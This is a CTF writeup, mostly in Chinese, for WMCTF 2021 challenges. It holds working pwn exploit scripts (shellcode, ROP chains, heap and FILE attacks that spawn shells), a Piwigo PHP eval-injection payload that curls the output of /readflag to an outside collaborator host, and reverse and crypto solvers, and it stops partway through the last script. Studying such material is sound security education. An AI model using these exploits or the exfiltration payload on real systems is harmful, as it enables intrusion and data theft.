# WMCTF 2021 Writeup(r4kapig) ## Pwn: ### red_high_heels: ``` 舞会就要开始了,可是珈乐找不到她的红色高跟鞋了,快帮她找找。 The prom is about to begin, but Carol cannot find her red high heels. Go help her! Attachment: 链接:https://pan.baidu.com/s/1-skKfz0X7WSwceN3xpLt0A 提取码:GAME https://drive.google.com/file/d/1SXz61vy24yJx95FR9Gs00-OwVS4C2mQQ/view?usp=sharing Challenge address:nc 47.104.169.32 12233 ``` 题目可以使用 execve,利用子线程启动 redflag 或 👠,另外还能够通过 ptrace 写入 shellcode。 利用点就是,当我们启动 👠,会先调用 clean_resource() 进行清理,然后再执行程序;创建足够多的 redflag,然后再启动 👠,然后修改 pid * 0.9(差不多这附近的一个即可) 的子线程。 本地的话,能够稳定触发 shell,远程的话则由于交互原因,需要多试几次。 exp: ```python= #encoding:utf-8 from pwn import * import re from Crypto.Util.number import long_to_bytes,bytes_to_long ip = '47.104.169.32' port = 12233 def regexp_out(data): patterns = [ re.compile(r'(flag{.*?})'), re.compile(r'xnuca{(.*?)}'), re.compile(r'DASCTF{(.*?)}'), re.compile(r'WMCTF{.*?}'), re.compile(r'[0-9a-zA-Z]{8}-[0-9a-zA-Z]{3}-[0-9a-zA-Z]{5}'), ] for pattern in patterns: res = pattern.findall(data.decode() if isinstance(data, bytes) else data) if len(res) > 0: return str(res[0]) return None def pwn(): filename = './red_high_heels' context(os="linux", arch="amd64", timeout=3) shellcode = asm(''' mov rbx, 0x68732f6e69622f push rbx push rsp pop rdi xor esi, esi xor edx, edx push 0x3b pop rax syscall ''') pid = 0x300 poc = [('%d %d %lu' % (int(pid*0.9), i*8, u64(shellcode[i*8:i*8+8].ljust(0x8, b'\x00')))) for i in range(3)] poc_length = len(poc) #io = process(filename) while True: io = remote(ip, port) for i in range(pid//0x10): io.sendafter(b'>> ', b'3\nredflag\n'*0x10) io.sendafter(b'>> ', '3\n👠\n') io.sendlineafter(b'>> ', b'4') io.sendline(poc[0]) io.sendlineafter(b'>> ', b'4') io.sendline(poc[1]) io.sendlineafter(b'>> ', b'4') io.sendline(poc[2]) sleep(1) io.recv(timeout=0.5) try: io.sendline(b'cat flag') flag = io.recvuntil(b'}') except: io.close() continue if b'}' in flag: log.success('flag: %s', regexp_out(flag)) exit() # WMCTF{C4rol_n0w_g0t_7im3_f0r_th3_pr0m} io.close() if __name__ == '__main__': pwn() ``` ### dy_maze: ``` Description: L1near👴在公司上班,突然公司的服务器被勒索病毒🦠控制,他必须去修复电脑,否则就会被公司开除,但是病毒没有要求钱财💰,病毒只要求L1near造一个自动化溢出程序🚀,如果他成功的话,他就会给L1near一个礼物🎁。请问你能帮他造一个程序吗。 L1near👴 is working in the company, and suddenly the company’s server is controlled by a ransomware virus🦠. He must repair the computer or he will be expelled from the company. However, the virus does not require money💰. The virus only requires L1near to build an automated overflow program🚀. If L1near succeeds, it will Will give him a gift🎁. Can you help L1near create the program? challenge address: nc 47.104.169.32 44212 ``` 虽然这题在pwn里面,但更多的是auto re的味道 在栈溢出前要过80个迷宫,思路是:通过找pos符号的使用,在每一关结束前都会给pos加一,因此就能直接找到迷宫的出口,再在这个位置之前,搜索最近一次的cmp,cmp的常数就是这一关的答案。 最后的栈溢出先泄露libc地址,再调用system("/bin/sh") ```python= import base64 import os import secrets import base64 from pwn import * from LibcSearcher import * import gmpy2 VERSION = 's' MODULUS = 2**1279-1 CHALSIZE = 2**128 def sloth_root(x, diff, p): exponent = (p + 1) // 4 for _ in range(diff): x = gmpy2.powmod(x, exponent, p).bit_flip(0) return int(x) def encode_number(num): size = (num.bit_length() // 24) * 3 + 3 return str(base64.b64encode(num.to_bytes(size, 'big')), 'utf-8') def decode_number(enc): return int.from_bytes(base64.b64decode(bytes(enc, 'utf-8')), 'big') def decode_challenge(enc): dec = enc.split('.') if dec[0] != VERSION: raise Exception('Unknown challenge version') return list(map(decode_number, dec[1:])) def encode_challenge(arr): return '.'.join([VERSION] + list(map(encode_number, arr))) def solve_challenge(chal): [diff, x] = decode_challenge(chal) y = sloth_root(x, diff, MODULUS) return encode_challenge([y]) def getMazeAns(filename,elf): os.system(f"objdump -d {filename} | grep pos > list.txt") result_num=[] with open('list.txt','r') as f: ls=f.readlines() assert len(ls)==240 for i in range(0,len(ls),3): base_addr=int(ls[i+1][2:8],16) lastByte=elf.read(base_addr-0x20,0x20) id=lastByte.rfind(b'\x83\x7d\xfc') result_num.append(lastByte[id+3]) os.remove('list.txt') addr_list=[] for i in range(80): addr_list.append((elf.sym[f'maze_{i+1}'],i)) addr_list=sorted(addr_list,key=lambda i:i[0]) ans=[0]*80 for i,j in enumerate(addr_list): ans[j[1]]=str(result_num[i]) print(ans) return ' '.join(ans) def getXorKey(elf:ELF): ok_addr=elf.sym['ok_success'] return elf.read(ok_addr+0xb6,1)+elf.read(ok_addr+0xd7,1)+elf.read(ok_addr+0xf8,1)+elf.read(ok_addr+0x119,1)+elf.read(ok_addr+0x13a,1) xor=lambda key,inp:bytes([j^key[i%5] for i,j in enumerate(inp)]) p=remote("47.104.169.32",44212) p.recvuntil("python3 <(curl -sSL https://wmctf.wm-team.cn/pow.py) solve ") challenge=p.recvline(False).decode() solution = solve_challenge(challenge) p.sendline(solution) p.recvuntil("==== Binary Download Start ====\n") file_base64=p.recvuntil("==== Binary Download END ====\n",True) file=base64.b64decode(file_base64) with open('elf.tar.bz2','wb') as f: f.write(file) os.system("tar -xaf elf.tar.bz2 && rm -f elf.tar.bz2") filename='./'+input("please input file name: ").strip() context.binary=filename context.log_level='debug' melf=ELF(filename,False) key=getXorKey(melf) p.sendline(getMazeAns(filename,melf)) rop1=ROP(melf) rop1.puts(melf.got['puts']) rop1.call('ok_success') rop1=rop1.chain() p.sendlineafter('Your name length: ',str(28+len(rop1))) p.sendafter('Input your name: ',xor(key,b'a'*28+rop1)) puts_addr=u64(p.recvline(False).ljust(8,b'\0')[:8]) libc=LibcSearcher().condition('puts',puts_addr).elf() rop2=ROP(libc) rop2.call(melf.sym['main']+0x7d) # ret rop2.system(next(libc.search(b'/bin/sh'))) rop2=rop2.chain() p.sendlineafter('Your name length: ',str(28+len(rop2))) p.sendafter('Input your name: ',xor(key,b'a'*28+rop2)) p.interactive() # flag{Good!L1NeAr_exPlOited_1t__y0u_Did_1t_t00___Auto_Exploit_Machine} ``` ### Nescafe: ``` try~ 链接:https://pan.baidu.com/s/1gw1ucUBjSkAjWyYyS5Hv7g 提取码:GAME https://drive.google.com/file/d/1nJsNeE9F2WDmOTEijy3MgGaVfpKSLDM-/view?usp=sharing nc 47.104.169.32 11543 ``` 题目存在 UAF,但是题目只允许我们使用一次 show,而且我们可以控制的 chunk 只有前 5 个,另外还不能够执行 execve。 因此,这里利用 show 泄露 libc,然后通过 unlink 漏洞将 chunk 申请到 __stdout_FILE,利用其泄露程序基址和栈地址,然后将 orw ROP 写入并劫持栈帧即可。 ```python= #-*- coding:utf8 -*- from pwn import * ip = '47.104.169.32' port = 11543 local = 0 filename = './pwn' libc_name = './libc.so' PREV_INUSE = 0x1 IS_MMAPPED = 0x2 NON_MAIN_ARENA = 0x4 cc = lambda : create_connect() s = lambda x : io.send(x) sl = lambda x : io.sendline(x) sla = lambda x, y: io.sendlineafter(x, y) sa = lambda x, y: io.sendafter(x, y) g = lambda x: gdb.attach(io, x) r = lambda : io.recv(timeout=1) rr = lambda x: io.recv(x, timeout=1) rl = lambda : io.recvline(keepends=False) ru = lambda x : io.recvuntil(x) ra = lambda : io.recvall(timeout=1) it = lambda : io.interactive() cl = lambda : io.close() def regexp_out(data): patterns = [ re.compile(r'(flag{.*?})'), re.compile(r'xnuca{(.*?)}'), re.compile(r'DASCTF{(.*?)}'), re.compile(r'WMCTF{.*?}'), re.compile(r'[0-9a-zA-Z]{8}-[0-9a-zA-Z]{3}-[0-9a-zA-Z]{5}'), ] for pattern in patterns: res = pattern.findall(data.decode() if isinstance(data, bytes) else data) if len(res) > 0: return str(res[0]) return None def create_connect(): global io, elf, libc elf = ELF(filename) context(os=elf.os, arch=elf.arch, timeout=3, log_level=1) if local: io = process(filename) else: io = remote(ip, port) try: libc = ELF(libc_name) except: pass def add(content): sa(b'>>', b'1') sa(b'Please input the content', content) def delete(idx): sa(b'>>', b'2') sa(b'idx:\n', str(idx).encode()) def show(idx): sa(b'>>', b'3') sa(b'idx\n', str(idx).encode()) return ru(b'\nDone')[:-5] def edit(idx, content): sa(b'>>', b'4') sa(b'idx:\n', str(idx).encode()) sa(b'Content\n', content) def pwn(): cc() add("A"*8) bin_c40 = u64(show(0)[-6:].ljust(0x8, b'\x00')) log.success('bin_c40: 0x%x', bin_c40) mal_address = bin_c40 - 38*0x18 log.success('mal_address: 0x%x', mal_address) libc.address = mal_address - 0x292ac0 log.success('libc_addr: 0x%x', libc.address) bin_220 = mal_address + 384 environ = libc.sym['environ'] close = libc.sym['__stdio_close'] write = libc.sym['__stdio_write'] seek = libc.sym['__stdio_seek'] stdout = libc.sym['__stdout_FILE'] add(b"callmecro") delete(0) #g('b *$rebase(0xC45)\nb *$rebase(0xD9F)\nb *$rebase(0xE37)\nb *$rebase(0xD30)\nb *$rebase(0xF3F)') edit(0, p64(stdout-0x18) + p64(stdout-0x8)) delete(1) edit(0, p64(stdout-0x10) + p64(bin_220)) add(b"callmecro")#2 leak = mal_address + 960 poc = b'' poc += p64(0x45) # flag poc += p64(0) # rpos poc += p64(0) # rend poc += p64(close) # close poc += p64(leak + 8) # wend poc += p64(leak + 8) # wpos poc += p64(0) # mustbezero_1 poc += p64(leak) # wbase poc += p64(0) # read poc += p64(write) # write poc += p64(seek) # seek poc += p64(leak) # buf poc += p64(0) # buf_size poc += p64(0) # prev poc += p64(0) # next poc += p64(1) # fd poc += p64(0) # pipe_pid poc += p64(0) # lockcount poc += p32(0xFFFFFFFF) # mode poc += p32(0xFFFFFFFF) # lock poc += p32(0xFFFFFFFF) # lbf poc += p64(0)*10 add(poc) #3 elf.address = u64(io.recvn(7)[-6:].ljust(8, b'\x00')) - 0x203030 log.success('elf_addr: 0x%x', elf.address) leak = environ poc = b'' poc += p64(0x45) # flag poc += p64(0) # rpos poc += p64(0) # rend poc += p64(close) # close poc += p64(leak + 8) # wend poc += p64(leak + 8) # wpos poc += p64(0) # mustbezero_1 poc += p64(leak) # wbase poc += p64(0) # read poc += p64(write) # write poc += p64(seek) # seek poc += p64(leak) # buf poc += p64(0) # buf_size poc += p64(0) # prev poc += p64(0) # next poc += p64(1) # fd poc += p64(0) # pipe_pid poc += p64(0) # lockcount poc += p32(0xFFFFFFFF) # mode poc += p32(0xFFFFFFFF) # lock poc += p32(0xFFFFFFFF) # lbf poc += p64(0)*10 #g('b *$rebase(0xC45)\nb *$rebase(0xD9F)\nb *$rebase(0xE37)\nb *$rebase(0xD30)\nb *$rebase(0xF3F)') edit(3, poc) stack_addr = u64(ru(b'\x7f').ljust(0x8, b'\x00')) log.success('stack_addr: 0x%x', stack_addr) #g('b *$rebase(0xC45)\nb *$rebase(0xD9F)\nb *$rebase(0xE37)\nb *$rebase(0xD30)\nb *$rebase(0xF3F)') edit(3, p64(0) + p64(elf.address + 0x202030) + p64(bin_220)) add(p64(0)*2) # 4 add(p64(0)*2 + p64(stack_addr - 0x78)) # 5 pop_rax = libc.address + 0x1b826 pop_rdi = libc.address + 0x14862 pop_rsi = libc.address + 0x1c237 pop_rdx = libc.address + 0x1bea2 syscall = libc.address + 0x234af filename = stack_addr - 0x78 flag_addr = elf.bss() + 0x100 poc = b'' poc += b'/flag\x00\x00\x00' poc += p64(pop_rdi) poc += p64(filename) poc += p64(pop_rsi) poc += p64(0) poc += p64(pop_rdx) poc += p64(0) poc += p64(pop_rax) poc += p64(2) poc += p64(syscall) poc += p64(pop_rdi) poc += p64(0x3) poc += p64(pop_rsi) poc += p64(flag_addr) poc += p64(pop_rdx) poc += p64(0x60) poc += p64(pop_rax) poc += p64(0) poc += p64(syscall) poc += p64(pop_rdi) poc += p64(0x1) poc += p64(pop_rsi) poc += p64(flag_addr) poc += p64(pop_rdx) poc += p64(0x60) poc += p64(pop_rax) poc += p64(1) poc += p64(syscall) #g('b *$rebase(0xC45)\nb *$rebase(0xD9F)\nb *$rebase(0xE37)\nb *$rebase(0xD30)\nb *$rebase(0xF3F)') edit(2, poc) log.success("flag: %s", regexp_out(ru(b'}'))) cl() if __name__ == "__main__": pwn() ``` ## Web: ### ez piwigo: ``` Description: Bertram正在使用一个图片展示系统整理自己的私人照片!找到他的秘密! Bertram is using a photo display system to organize his private photos! Find his secret! ``` 弱口令 admin\admin 尝试利用插件getshell 在本地搭建环境后 随便输点什么 ![](https://i.imgur.com/bwXTJlr.png) 于是去跟源代码 我们看一下源码 ```php= /** * returns $code if php syntax is correct * else return false * * @param string php code */ function eval_syntax($code) { $code = str_replace(array('<?php', '?>'), '', $code); if (function_exists('token_get_all')) { $b = 0; foreach (token_get_all($code) as $token) { if ('{' == $token) ++$b; else if ('}' == $token) --$b; } if ($b) return false; else { ob_start(); $eval = eval('if(0){' . $code . '}'); ob_end_clean(); if ($eval === false) return false; } } return '<?php' . $code . '?>'; } ``` ```php= $eval = eval('if(0){' . $code . '}'); ``` 这里并没有对代码进行严格的过滤 我们只需要尝试 闭合`if(0){`即可造成命令注入 Payload: ```php= <?php}else{system("curl http://adrdy41q7fuqvjwsoykkpcouelkc81.burpcollaborator.net/`/readflag`");?> ``` ## Reverse: ### Re1: ``` 著名的反派角色L1near,由于现在的人们经常玩手机,大反派L1near,通过自己的高超的技术!污染了APP,正义之士们!可以去除污染的APP来拯救地球!消灭L1near吗 The famous villain L1near, because people often play mobile phones nowadays, the villain L1near, through his superb technology! Pollution of the app, people of justice! App that can decontaminate to save the planet! Eliminate L1near? attachment: 链接:https://pan.baidu.com/s/1vL7m8r5bq4swmscfhNpuEg 提取码:GAME https://drive.google.com/file/d/1QqNXFPfQlk9RwRj6bUvFr6P7dwk7ksfr/view?usp=sharing ``` 不少函数中都有如图这种花指令,扰乱IDA的栈分析,因此patch掉即可 ![](https://i.imgur.com/icMPzz3.png) 此外,还在函数内部存取了一个密钥,同样IDA会把它当作指令分析,因此全部nop掉。就可以愉快的反汇编了 ![](https://i.imgur.com/qI7YoLc.png) main函数里面维护了一个这样的结构体 ![](https://i.imgur.com/5y9m7K6.png) 程序先判断flag格式WMCTF{} 然后用前四个字节分别生成crc1到crc2,加下来16个字符放入xtea_data内,接下来的字符五个一组,可以调用几个函数修改这个结构体的指定位置。 验证时先验证crc1到crc4的crc校验码,可以直接爆破出flag前4字节。 然后会用魔改过的xtea加密xtea_data里面的内容,密钥是通过tea_key_source生成的。 用初始的密钥解密发现不是ascii码,然后爆破tea_key_source发现需要修改它的高字节。 然后通过那几个函数修改tea_key_source。主要是利用unsigned uint8转char类型的符号问题和一个off-by-one写入(有点pwn的感觉 最后exp代码: ```python= from typing import List import string class CRC: key:List[int]=[] def __init__(self): for i in range(0x100): v2=i for _ in range(8): if v2&1 !=0: v2 = (v2 >> 1) ^ 0x8320EDB8 else: v2 >>= 1 self.key.append(v2) def cal(self,iv:int,s:bytes)->int: v4=iv for i in s: v4 = (v4>>8)^self.key[(i^v4)&0xff] return iv^v4 def xteaDecrypt( v, k,rounds=0x20): v0 = v[0] v1 = v[1] delta = 0x9981ABCD x =( delta * rounds)&0xFFFFFFFF for i in range(rounds): v1 -= (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (x + k[(x >> 11) & 3]) if v1<0: v1+=0x100000000 v1 = v1 & 0xFFFFFFFF x -= delta if x<0: x+=0x100000000 x = x & 0xFFFFFFFF v0 -= (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (x + k[x & 3]) if v0<0: v0+=0x100000000 v0 = v0 & 0xFFFFFFFF v[0] = v0 v[1] = v1 return v def xteaEncrypt(v, k, rounds=0x20): v0 = v[0] v1 = v[1] x = 0 delta = 0x9981abcd # 注意:常数被替换了 for i in range(rounds): v0 += (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (x + k[x & 3]) v0 = v0 & 0xFFFFFFFF x += delta x = x & 0xFFFFFFFF v1 += (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (x + k[(x >> 11) & 3]) v1 = v1 & 0xFFFFFFFF v[0] = v0 v[1] = v1 return v def createBytes(start:int,length:int)->bytes: result=[] for i in range(length): result.append((i+start)&0xff) return result print('WMCTF{',end='') crc=CRC() for i in string.printable: if crc.cal(0xFFFFFFFE,createBytes(ord(i),0x100))==0xa3eeb7be: print(i,end='') break for i in string.printable: if crc.cal(0xa3eeb7be,createBytes(ord(i)+1,0x100))==0x6dbcc2bc: print(i,end='') break for i in string.printable: if crc.cal(0x6dbcc2bc,createBytes(ord(i)+2,0xf))==0x50e7d09a: print(i,end='') break for i in string.printable: if crc.cal(0x50e7d09a,createBytes(ord(i)+3,0x1c))==0x78591f87: print(i,end='') break key_source=0xDEAD for i in range(0x100): key_source=(i<<8)|0xad xteaKey1=[0xa3eeb7be,0x50e7009a|(key_source&0xff00), 0x6dbcc2bc, 0x78591f00|(key_source&0xff)] m1=xteaDecrypt([0x556E2853,0x4393DF16],xteaKey1) xteaKey2=[xteaKey1[3], xteaKey1[2], xteaKey1[0], xteaKey1[1]] m2=xteaDecrypt([0x1989FB2B,0x83F5A243],xteaKey2) u32=lambda i: i.to_bytes(4,'little', signed=False) ans:bytes=u32(m1[0])+u32(m2[0])+u32(m2[1])+u32(m1[1]) try: print(ans.decode(),end='') break except: pass else: print('error') exit(0) # special_flag -> 0xfe print('@FFFE',end='') # c2 # xtea_type -> 0x20 print('#0F20',end='') # c3 # HIBYTE(key_source) -> i print('-%02X%02X}'%(17,i)) ``` ### Re2: ``` L1near曾在洗脚店拿着红酒杯说!AK也不过如此,自己也想搞搞逆向!于是乎,在0.01秒就出了一个RE题!你们可以破解洗脚之王L1near的RE题吗! L1near once held a red wine glass at the foot washing shop and said! AK is nothing more than that, I also want to engage in reverse engineering! Ever since, a RE question was issued in 0.01 second! Can you solve the RE question of the King of Foot Washing L1near! attachment: 链接:https://pan.baidu.com/s/1VdDP8ePrh8n-MqStkokByQ 提取码:GAME https://drive.google.com/file/d/1byjFo9Nq-l22tJ8BX1Wa5ZLc7rKjq-wa/view?usp=sharing ``` 验证逻辑在native层 ![](https://i.imgur.com/GR8e2Nx.png) 函数在jnionload中动态注册(检验到root环境会绑定到错误函数 有字符串加密,动态调试即可解密 算法为魔改aes加密和魔改rc4加密 先解密rc4: ```python= from Crypto.Cipher import ARC4 res = bytes([0x18, 0x76, 0xEB, 0x87, 0x76, 0x3E, 0x77, 0x08, 0xC0, 0x8D, 0x56, 0x25, 0x9E, 0x35, 0x0D, 0x16, 0x23, 0x65, 0x61, 0x6A, 0x14, 0x9D, 0x4F, 0x1C, 0x64, 0x21, 0x7D, 0x78, 0xBA, 0x53, 0x91, 0x22]) key = b"Hello from C++" rc4 = ARC4.new(key) plain=rc4.decrypt(res) true_plain=[] for i in range(32): true_plain.append(hex(plain[i]^0x50)) print(true_plain) ``` 再解密aes:(魔改了s盒,字节代换过程,删除了行位移过程 生成inv_sbox: ```python= sbox=[0x7C, 0xF2, 0x63, 0x7B, 0x77, 0x6B, 0x6F, 0xC5, 0x30, 0x01, 0x67, 0x2B, 0xFE, 0xD7, 0xAB, 0x76, 0xCA, 0x82, 0xC9, 0x7D, 0xFA, 0x59, 0x47, 0xF0, 0xAD, 0xD4, 0xA2, 0xAF, 0x9C, 0xA4, 0x72, 0xC0, 0xB7, 0xFD, 0x93, 0x26, 0x36, 0x3F, 0xF7, 0xCC, 0x34, 0xA5, 0xE5, 0xF1, 0x71, 0xD8, 0x31, 0x15, 0x04, 0xC7, 0x23, 0xC3, 0x18, 0x96, 0x05, 0x9A, 0x07, 0x12, 0x80, 0xE2, 0xEB, 0x27, 0xB2, 0x75, 0x09, 0x83, 0x2C, 0x1A, 0x1B, 0x6E, 0x5A, 0xA0, 0x52, 0x3B, 0xD6, 0xB3, 0x29, 0xE3, 0x2F, 0x84, 0x53, 0xD1, 0x00, 0xED, 0x20, 0xFC, 0xB1, 0x5B, 0x6A, 0xCB, 0xBE, 0x39, 0x4A, 0x4C, 0x58, 0xCF, 0xD0, 0xEF, 0xAA, 0xFB, 0x43, 0x4D, 0x33, 0x85, 0x45, 0xF9, 0x02, 0x7F, 0x50, 0x3C, 0x9F, 0xA8, 0x51, 0xA3, 0x40, 0x8F, 0x92, 0x9D, 0x38, 0xF5, 0xBC, 0xB6, 0xDA, 0x21, 0x10, 0xFF, 0xF3, 0xD2, 0x0C, 0xCD, 0x13, 0xEC, 0x5F, 0x97, 0x44, 0x17, 0xC4, 0xA7, 0x7E, 0x3D, 0x64, 0x5D, 0x19, 0x73, 0x60, 0x81, 0x4F, 0xDC, 0x22, 0x2A, 0x90, 0x88, 0x46, 0xEE, 0xB8, 0x14, 0xDE, 0x5E, 0x0B, 0xDB, 0xE0, 0x32, 0x3A, 0x0A, 0x49, 0x06, 0x24, 0x5C, 0xC2, 0xD3, 0xAC, 0x62, 0x91, 0x95, 0xE4, 0x79, 0xE7, 0xC8, 0x37, 0x6D, 0x8D, 0xD5, 0x4E, 0xA9, 0x6C, 0x56, 0xF4, 0xEA, 0x65, 0x7A, 0x08, 0xAE, 0xBA, 0x78, 0x25, 0x2E, 0x1C, 0xA6, 0xB4, 0xC6, 0xE8, 0xDD, 0x74, 0x1F, 0x4B, 0xBD, 0x8B, 0x8A, 0x70, 0x3E, 0xB5, 0x66, 0x48, 0x03, 0xF6, 0x0E, 0x61, 0x35, 0x57, 0xB9, 0x86, 0xC1, 0x1D, 0x9E, 0xE1, 0xF8, 0x98, 0x11, 0x69, 0xD9, 0x8E, 0x94, 0x9B, 0x1E, 0x87, 0xE9, 0xCE, 0x55, 0x28, 0xDF, 0x8C, 0xA1, 0x89, 0x0D, 0xBF, 0xE6, 0x42, 0x68, 0x41, 0x99, 0x2D, 0x0F, 0xB0, 0x54, 0xBB, 0x16] inv_sbox=[0]*256 for i in range(len(sbox)): inv_sbox[sbox[i]] = hex(i) print(inv_sbox) ``` 解密aes部分代码:(CBC模式,密钥读取了/proc/self/status里的TracerPid,置0即可 ```c= void aes_decrypt_block(uint8_t* plain, uint8_t* key) { uint8_t* sub_key = aes_key_extend(key); add_round_key(plain, sub_key+10*16); print_hex(plain,"add_round_key 1"); for (uint32_t i = 9; i >0; --i) { inv_sub_byte(plain); print_hex(plain,"inv_sub_byte"); add_round_key(plain, sub_key+i*16); print_hex(plain,"add_round_key"); inv_mix_col(plain); print_hex(plain,"inv_mix_col"); } inv_sub_byte(plain); print_hex(plain,"inv_sub_byte"); add_round_key(plain, sub_key); print_hex(plain,"add_round_key"); free(sub_key); } unsigned char key[]={0x54, 0x72, 0x61, 0x63, 0x65, 0x72, 0x50, 0x69, 0x64, 0x3A, 0x09, 0x30,0x0A, 0x66, 0x6C, 0x67}; // unsigned char m[]={ 0xd0, 0x60, 0xf7, 0xc6, 0x95, 0x42, 0x22, 0xfd, 0xe3, 0x6b, 0x7e, 0x9c, 0xa1, 0xc9, 0xd8, 0xfa}; // aes_decrypt_block(m,key); // unsigned char xor_data[]={0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0A, 0x0B, 0x0C, 0x0D, 0x0E, 0x0F }; // for(i=0;i<16;i++){ // m[i]^=xor_data[i]; // } // printf("%s",(char*)m); unsigned char m[]={ 0xcf, 0x82, 0xc8, 0x76, 0xf8, 0xcb, 0x7c, 0x6f, 0xf8, 0x7f, 0x99, 0x5a, 0x12, 0x62, 0xc6, 0xb6}; aes_decrypt_block(m,key); unsigned char xor_data[]={0xd0, 0x60, 0xf7, 0xc6, 0x95, 0x42, 0x22, 0xfd, 0xe3, 0x6b, 0x7e, 0x9c, 0xa1, 0xc9, 0xd8, 0xfa }; for(i=0;i<16;i++){ m[i]^=xor_data[i]; } printf("%s",(char*)m); // wmctf{e78ce1a3ac4be37a96e27e98c} ``` ## Crypto: ### checkin: ``` 众所周知,L1near是一个著名大黑客,他为W&M编写了一个全自动的水群机器人, 我们偷到了L1near在开发时的简易版本,并且获得了交互的接口,你能帮我们找到L1near偷偷藏起来的flag吗? As we all know, L1near is a well-known hacker who wrote a fully automatic robot for W&M. We stole a simplified version of L1near's robot during development and obtained an interactive interface. You can help us find the flag that L1near secretly hides? challenge address:http://47.104.243.99:10000/ ``` 更像是函数 ![](https://i.imgur.com/aDjbDXt.png) ![](https://i.imgur.com/5VSML2E.png) 返回的数字基本上也是越来越大的 要不画个函数图看看? ``` 0: Come and get your rp value today! 1: Ah-ha! There is a idiot! 20: Gee, this is too miserable. 40: Oh, you almost passed it! 60: Fortunately, you passed 60. 81: You are Koi! Congratulations! 100: Wow! Golden legend!<!-- so why not try to post 'flag' as rp? --> 100: so why not try to post 'flag' as rp? 101: What happend to my bot????? 101: Let me find something in my backpack which can fix this bug! ``` 一直输空串,会不断返回0~100的值 发现`f(x+1) - f(x)`很有规律 看一下,似乎是有周期 周期都是 `2**k` 是个背包 ```python= import re import requests import z3 url = "http://47.104.243.99:10000/show.php" pattern = re.compile(r"<p>(.*?)<\/p>") pattern2 = re.compile(r"<!--(.*?)-->") def run(rp): data = {'rp': str(rp)} req = requests.post(url=url, data=data) text = req.text ps = re.findall(pattern, text) cs = re.findall(pattern2, text) return ps, cs, text def get_value(rp): ps, cs, text = run(rp) try: for p in ps: if not p.startswith("Your rp value:"): continue v = int(p[p.find(':')+1:]) return v except: print("error", text) def get_diff(x): # g(x) = f(x+1) - f(x) assert x >= base_idx return get_value(x+1) - get_value(x) def get_g(x): assert x >= base_idx b = x - base_idx + known_bits lb = b & (-b) l = len(bin(lb)) - 3 assert l < known_bnum return levels[l] def get_f(x): assert x >= base_idx b = x - base_idx + known_bits assert b < (1<<known_bnum) s = base_val for i in range(known_bnum): v = (b-1) >> i v = (v >> 1) + (v & 1) s += v * levels[i] for i in range(known_bnum): v = (known_bits-1) >> i v = (v >> 1) + (v & 1) s -= v * levels[i] return s def try_solve_z3(): solver = z3.Solver() b = z3.BitVec("b", known_bnum+1) solver.add(b >= known_bits) s = base_val for i in range(known_bnum): v = (known_bits-1) >> i v = (v >> 1) + (v & 1) s -= v * levels[i] s2 = 0 for i in range(known_bnum): v = (b >> i) & 1 v = z3.BV2Int(v) h = levels[i] + sum([levels[j]*(2**(i-j-1)) for j in range(i)]) s2 = s2 + v * h solver.add(s2 == flag_val - s) if solver.check() == z3.sat: #print(solver.to_smt2()) m = solver.model() b = int(str(m.eval(b))) + 1 idx = b + base_idx - known_bits print(idx, get_value(idx), flag_val) base_idx = 101 base_val = get_value(base_idx) flag_val = get_value("flag") print("flag_val", flag_val) #flag_val = get_value(1234) levels = [None] * 1024 known_bits = 0 known_bnum = 0 while True: next_idx = base_idx + (1 << known_bnum) - known_bits next_diff = get_diff(next_idx) next_idx2 = next_idx + (1 << (known_bnum+1)) next_diff2 = get_diff(next_idx2) #print("next", next_idx-1, next_diff) #print("next2", next_idx2-1, next_diff2) bit = 0 if next_diff == next_diff2 else 1 if bit == 0: levels[known_bnum] = next_diff else: levels[known_bnum] = get_diff(next_idx + (1<<known_bnum)) print(1<<known_bnum, levels[known_bnum]) known_bits |= bit << known_bnum known_bnum += 1 #print(known_bnum, bin(known_bits)) try_solve_z3() ``` z3发现解不动 https://en.wikipedia.org/wiki/Subset_sum_problem 怎么样的rp是一个合法的secret都不太清楚 (就当所有正整数合法了。。。或者说能算出flag的rp就是合法的? ![](https://i.imgur.com/RUFUE04.png) 同样能返回 1620418829165478 的 rp?(有可能 就是说找到 rp=secret 能和 rp=flag 返回一样的结果 然后同时能返回一个WMCTF{***}? LLL: ```python= import re from sage.all import * import requests import z3 from sage.numerical.knapsack import Superincreasing from sage.numerical.knapsack import knapsack from sage.numerical.mip import MixedIntegerLinearProgram url = "http://47.104.243.99:10000/show.php" pattern = re.compile(r"<p>(.*?)<\/p>") pattern2 = re.compile(r"<!--(.*?)-->") def run(rp): data = {'rp': str(rp)} req = requests.post(url=url, data=data) text = req.text ps = re.findall(pattern, text) cs = re.findall(pattern2, text) return ps, cs, text def get_value(rp): ps, cs, text = run(rp) try: for p in ps: if not p.startswith("Your rp value:"): continue v = int(p[p.find(':')+1:]) return v except: print("error", text) def get_diff(x): # g(x) = f(x+1) - f(x) assert x >= base_idx return get_value(x+1) - get_value(x) def get_g(x): assert x >= base_idx b = x - base_idx + known_bits lb = b & (-b) l = len(bin(lb)) - 3 assert l < known_bnum return levels[l] def get_f(x): assert x >= base_idx b = x - base_idx + known_bits assert b < (1<<known_bnum) s = base_val for i in range(known_bnum): v = (b-1) >> i v = (v >> 1) + (v & 1) s += v * levels[i] for i in range(known_bnum): v = (known_bits-1) >> i v = (v >> 1) + (v & 1) s -= v * levels[i] return s def try_solve_z3(): solver = z3.Solver() b = z3.BitVec("b", known_bnum+1) solver.add(b >= known_bits) s = base_val for i in range(known_bnum): v = (known_bits-1) >> i v = (v >> 1) + (v & 1) s -= v * levels[i] s2 = 0 for i in range(known_bnum): v = (b >> i) & 1 v = z3.BV2Int(v) h = levels[i] + sum([levels[j]*(2**(i-j-1)) for j in range(i)]) s2 = s2 + v * h solver.add(s2 == flag_val - s) if solver.check() == z3.sat: #print(solver.to_smt2()) m = solver.model() b = int(str(m.eval(b))) + 1 idx = b + base_idx - known_bits print(idx, get_value(idx), flag_val) def try_solve(): s = base_val for i in range(known_bnum): v = (known_bits-1) >> i v = (v >> 1) + (v & 1) s -= v * levels[i] hs = [s - flag_val] for i in range(known_bnum): h = levels[i] + sum([levels[j]*(2**(i-j-1)) for j in range(i)]) hs.append(h) n = len(hs) mat = Matrix(ZZ, n, n+1) for i in range(n): mat[i,0] = hs[i] 